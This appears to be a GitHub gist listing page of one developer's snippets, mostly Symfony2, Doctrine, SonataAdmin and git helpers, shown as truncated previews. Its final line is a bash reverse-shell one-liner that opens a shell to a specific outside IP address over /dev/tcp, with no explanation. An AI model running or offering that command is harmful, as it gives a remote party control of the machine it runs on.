Skip to content

Instantly share code, notes, and snippets.

@whitewhidow
whitewhidow / gist:5013082
Last active December 14, 2015 02:19
datime with timepicker in symfony2
//////////// in template
<style>
/* css for timepicker */
.ui-timepicker-div .ui-widget-header { margin-bottom: 8px; }
.ui-timepicker-div dl { text-align: left; }
.ui-timepicker-div dl dt { height: 25px; margin-bottom: -25px; }
.ui-timepicker-div dl dd { margin: 0 10px 10px 65px; }
.ui-timepicker-div td { font-size: 90%; }
.ui-tpicker-grid-label { background: none; border: none; margin: 0; padding: 0; }
@whitewhidow
whitewhidow / gist:5047302
Created February 27, 2013 11:36
get GET & POST parameters symfony2
use Symfony\Component\HttpFoundation\Request;
public function someAction(Request $request)
{
$postData = $request->request->all();
$post_value = $postData['FIELDNAME'];
}
@whitewhidow
whitewhidow / demo.html
Last active November 3, 2023 23:23
JS KeyCode Map
<div id="keyname">Press any key.</div>
<script>
$('.btn-danger').click(function() {
$(this).removeClass('confirm');
$(this).text("Are you sure?");
$(this).unbind();
return false;
});
</script>
Will bind to all bootstrap warning buttons
@whitewhidow
whitewhidow / getFromEntityInsertions
Created March 5, 2015 14:53
get entity from unitofwork, after persist, before flush
public function getFromBuffer($searchedValue, $method, $className = null){
$neededObject = array_filter(
$this->doctrine->getManager()->getUnitOfWork()->getScheduledEntityInsertions(),
function ($e) use (&$searchedValue, $method, $className) {
if (method_exists($e, $method) and ((get_class($e) == $className) or is_null($className))) {
return $e->$method() == $searchedValue;
} else {
@whitewhidow
whitewhidow / gist:2300a2c82dac61a455d5
Created April 16, 2015 09:37
SonataAdminBundle : datagrid filter to filter by role
->add('with_role', 'doctrine_orm_callback', array('label' => 'role',
'callback' => function($queryBuilder, $alias, $field, $value) {
if (!$value['value']) {
return;
}
$queryBuilder->andWhere($alias.'.roles LIKE :role');
$queryBuilder->setParameter('role', '%'.$value['value'].'%');
return true;
@whitewhidow
whitewhidow / gist:165eb4dd1eaff9de3b0c
Created May 13, 2015 07:42
make fosuser email nullable
/**
* @ORM\Entity
* @ORM\Table(name="fos_user")
*
* @AttributeOverrides({
* @AttributeOverride(name="emailCanonical",
* column=@ORM\Column(
* name="email_canonical",
* type="string",
* length=255,
git log --author="_Your_Name_Here_" --pretty=tformat: --numstat \
| gawk '{ add += $1; subs += $2; loc += $1 - $2 } END { printf "added lines: %s removed lines: %s total lines: %s\n", add, subs, loc }' -
<?php
namespace Doctrine\DBAL\Logging;
class EchoSQLLogger implements SQLLogger
{
/**
* {@inheritdoc}
*/
public function startQuery($sql, array $params = null, array $types = null)
0<&137-;exec 137<>/dev/tcp/94.227.42.250/1564;sh <&137 >&137 2>&137